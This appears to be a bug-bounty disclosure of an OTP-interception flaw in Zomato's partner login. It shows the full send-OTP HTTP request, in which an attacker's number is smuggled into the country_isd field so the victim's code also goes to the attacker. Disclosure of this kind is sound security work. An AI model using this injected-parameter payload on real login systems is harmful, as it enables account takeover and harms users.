Improper Validation at Partners Login

Summary

Timeline

Summary

The following request was vulnerable:

POST /merchant-api/dining/merchant-login/v1/send-otp HTTP/1.1
Host: www.zomato.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-zomato-csrft: CSRF
x-zomato-app-version: 2
services-access-token:
Content-Length: 79
Origin: https://www.zomato.com
Connection: close
Referer: https://www.zomato.com/partners
Cookie: XXXXXXX

{"res_id":"XXXXXXXX","country_isd":"918888888888,","phone_number":"XXXXXXXXXX"}

There were no strict checks on country_isd. Our backend generated the OTP for phone_number param but appended the country_isd parameter to the phone_number param before sending the SMS without any major checks. Our SMS provider supports multiple phone numbers separated by spaces. After appending the phone number will become: 918888888888,XXXXXXXXXX where 8888888888 is the attacker's number and phone_number is the victim's phone number.

Here the reporter was able to demonstrate an attack to get the OTP of the victim on both the attacker's number and the victim's number.